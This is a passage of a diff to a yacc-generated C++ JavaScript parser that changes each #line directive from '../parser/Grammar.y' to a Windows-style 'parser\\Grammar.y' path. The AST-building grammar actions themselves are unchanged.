 /* Line 1455 of yacc.c  */
-#line 436 "../parser/Grammar.y"
+#line 436 "parser\\Grammar.y"
     { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants);
@@ -3296,21 +3296,21 @@ yyreduce:
   case 47:
 
 /* Line 1455 of yacc.c  */
-#line 443 "../parser/Grammar.y"
+#line 443 "parser\\Grammar.y"
     { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
     break;
 
   case 48:
 
 /* Line 1455 of yacc.c  */
-#line 444 "../parser/Grammar.y"
+#line 444 "parser\\Grammar.y"
     { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
     break;
 
   case 49:
 
 /* Line 1455 of yacc.c  */
-#line 445 "../parser/Grammar.y"
+#line 445 "parser\\Grammar.y"
     { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (4)].expressionNode).m_features | (yyvsp[(3) - (4)].expressionNode).m_features, (yyvsp[(1) - (4)].expressionNode).m_numConstants + (yyvsp[(3) - (4)].expressionNode).m_numConstants); 
@@ -3320,7 +3320,7 @@ yyreduce:
   case 50:
 
 /* Line 1455 of yacc.c  */
-#line 449 "../parser/Grammar.y"
+#line 449 "parser\\Grammar.y"
     { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants); ;}
@@ -3329,21 +3329,21 @@ yyreduce:
   case 51:
 
 /* Line 1455 of yacc.c  */
-#line 455 "../parser/Grammar.y"
+#line 455 "parser\\Grammar.y"
     { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
     break;
 
   case 52:
 
 /* Line 1455 of yacc.c  */
-#line 456 "../parser/Grammar.y"
+#line 456 "parser\\Grammar.y"
     { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
     break;
 
   case 53:
 
 /* Line 1455 of yacc.c  */
-#line 457 "../parser/Grammar.y"
+#line 457 "parser\\Grammar.y"
     { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (4)].expressionNode).m_features | (yyvsp[(3) - (4)].expressionNode).m_features, (yyvsp[(1) - (4)].expressionNode).m_numConstants + (yyvsp[(3) - (4)].expressionNode).m_numConstants); 
@@ -3353,7 +3353,7 @@ yyreduce:
   case 54:
 
 /* Line 1455 of yacc.c  */
-#line 461 "../parser/Grammar.y"
+#line 461 "parser\\Grammar.y"
     { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants); 
@@ -3363,21 +3363,21 @@ yyreduce:
   case 55:
 
 /* Line 1455 of yacc.c  */
-#line 468 "../parser/Grammar.y"
+#line 468 "parser\\Grammar.y"
     { (yyval.argumentsNode) = createNodeInfo<ArgumentsNode*>(new (GLOBAL_DATA) ArgumentsNode(GLOBAL_DATA), 0, 0); ;}
     break;
 
   case 56:
 
 /* Line 1455 of yacc.c  */
-#line 469 "../parser/Grammar.y"
+#line 469 "parser\\Grammar.y"
     { (yyval.argumentsNode) = createNodeInfo<ArgumentsNode*>(new (GLOBAL_DATA) ArgumentsNode(GLOBAL_DATA, (yyvsp[(2) - (3)].argumentList).m_node.head), (yyvsp[(2) - (3)].argumentList).m_features, (yyvsp[(2) - (3)].argumentList).m_numConstants); ;}
     break;
 
   case 57:
 
 /* Line 1455 of yacc.c  */
-#line 473 "../parser/Grammar.y"
+#line 473 "parser\\Grammar.y"
     { (yyval.argumentList).m_node.head = new (GLOBAL_DATA) ArgumentListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].expressionNode).m_node);
                                           (yyval.argumentList).m_node.tail = (yyval.argumentList).m_node.head;
                                           (yyval.argumentList).m_features = (yyvsp[(1) - (1)].expressionNode).m_features;
@@ -3387,7 +3387,7 @@ yyreduce:
   case 58:
 
 /* Line 1455 of yacc.c  */
-#line 477 "../parser/Grammar.y"
+#line 477 "parser\\Grammar.y"
     { (yyval.argumentList).m_node.head = (yyvsp[(1) - (3)].argumentList).m_node.head;
                                           (yyval.argumentList).m_node.tail = new (GLOBAL_DATA) ArgumentListNode(GLOBAL_DATA, (yyvsp[(1) - (3)].argumentList).m_node.tail, (yyvsp[(3) - (3)].expressionNode).m_node);
                                           (yyval.argumentList).m_features = (yyvsp[(1) - (3)].argumentList).m_features | (yyvsp[(3) - (3)].expressionNode).m_features;
@@ -3397,252 +3397,252 @@ yyreduce:
   case 64:
 
 /* Line 1455 of yacc.c  */
-#line 495 "../parser/Grammar.y"
+#line 495 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 65:
 
 /* Line 1455 of yacc.c  */
-#line 496 "../parser/Grammar.y"
+#line 496 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 67:
 
 /* Line 1455 of yacc.c  */
-#line 501 "../parser/Grammar.y"
+#line 501 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 68:
 
 /* Line 1455 of yacc.c  */
-#line 502 "../parser/Grammar.y"
+#line 502 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 69:
 
 /* Line 1455 of yacc.c  */
-#line 506 "../parser/Grammar.y"
+#line 506 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDeleteNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 70:
 
 /* Line 1455 of yacc.c  */
-#line 507 "../parser/Grammar.y"
+#line 507 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) VoidNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants + 1); ;}
     break;
 
   case 71:
 
 /* Line 1455 of yacc.c  */
-#line 508 "../parser/Grammar.y"
+#line 508 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeTypeOfNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 72:
 
 /* Line 1455 of yacc.c  */
-#line 509 "../parser/Grammar.y"
+#line 509 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 73:
 
 /* Line 1455 of yacc.c  */
-#line 510 "../parser/Grammar.y"
+#line 510 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 74:
 
 /* Line 1455 of yacc.c  */
-#line 511 "../parser/Grammar.y"
+#line 511 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 75:
 
 /* Line 1455 of yacc.c  */
-#line 512 "../parser/Grammar.y"
+#line 512 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 76:
 
 /* Line 1455 of yacc.c  */
-#line 513 "../parser/Grammar.y"
+#line 513 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnaryPlusNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 77:
 
 /* Line 1455 of yacc.c  */
-#line 514 "../parser/Grammar.y"
+#line 514 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeNegateNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 78:
 
 /* Line 1455 of yacc.c  */
-#line 515 "../parser/Grammar.y"
+#line 515 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeBitwiseNotNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 79:
 
 /* Line 1455 of yacc.c  */
-#line 516 "../parser/Grammar.y"
+#line 516 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalNotNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
     break;
 
   case 85:
 
 /* Line 1455 of yacc.c  */
-#line 530 "../parser/Grammar.y"
+#line 530 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeMultNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 86:
 
 /* Line 1455 of yacc.c  */
-#line 531 "../parser/Grammar.y"
+#line 531 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDivNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 87:
 
 /* Line 1455 of yacc.c  */
-#line 532 "../parser/Grammar.y"
+#line 532 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ModNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 89:
 
 /* Line 1455 of yacc.c  */
-#line 538 "../parser/Grammar.y"
+#line 538 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeMultNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 90:
 
 /* Line 1455 of yacc.c  */
-#line 540 "../parser/Grammar.y"
+#line 540 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDivNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 91:
 
 /* Line 1455 of yacc.c  */
-#line 542 "../parser/Grammar.y"
+#line 542 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ModNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 93:
 
 /* Line 1455 of yacc.c  */
-#line 547 "../parser/Grammar.y"
+#line 547 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAddNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 94:
 
 /* Line 1455 of yacc.c  */
-#line 548 "../parser/Grammar.y"
+#line 548 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeSubNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 96:
 
 /* Line 1455 of yacc.c  */
-#line 554 "../parser/Grammar.y"
+#line 554 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAddNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 97:
 
 /* Line 1455 of yacc.c  */
-#line 556 "../parser/Grammar.y"
+#line 556 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeSubNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 99:
 
 /* Line 1455 of yacc.c  */
-#line 561 "../parser/Grammar.y"
+#line 561 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeLeftShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 100:
 
 /* Line 1455 of yacc.c  */
-#line 562 "../parser/Grammar.y"
+#line 562 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 101:
 
 /* Line 1455 of yacc.c  */
-#line 563 "../parser/Grammar.y"
+#line 563 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnsignedRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 103:
 
 /* Line 1455 of yacc.c  */
-#line 568 "../parser/Grammar.y"
+#line 568 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeLeftShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 104:
 
 /* Line 1455 of yacc.c  */
-#line 569 "../parser/Grammar.y"
+#line 569 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 105:
 
 /* Line 1455 of yacc.c  */
-#line 570 "../parser/Grammar.y"
+#line 570 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnsignedRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 107:
 
 /* Line 1455 of yacc.c  */
-#line 575 "../parser/Grammar.y"
+#line 575 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 108:
 
 /* Line 1455 of yacc.c  */
-#line 576 "../parser/Grammar.y"
+#line 576 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 109:
 
 /* Line 1455 of yacc.c  */
-#line 577 "../parser/Grammar.y"
+#line 577 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 110:
 
 /* Line 1455 of yacc.c  */
-#line 578 "../parser/Grammar.y"
+#line 578 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 111:
 
 /* Line 1455 of yacc.c  */
-#line 579 "../parser/Grammar.y"
+#line 579 "parser\\Grammar.y"
     { InstanceOfNode* node = new (GLOBAL_DATA) InstanceOfNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
@@ -3651,7 +3651,7 @@ yyreduce:
   case 112:
 
 /* Line 1455 of yacc.c  */
-#line 582 "../parser/Grammar.y"
+#line 582 "parser\\Grammar.y"
     { InNode* node = new (GLOBAL_DATA) InNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
                                           (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
@@ -3660,35 +3660,35 @@ yyreduce:
   case 114:
 
 /* Line 1455 of yacc.c  */
-#line 589 "../parser/Grammar.y"
+#line 589 "parser\\Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 115:
 
 /* Line 1455 of yacc.c  */
-#line 590 "../parser/Grammar.y"
+#line 590 "parser\\Grammar.y"
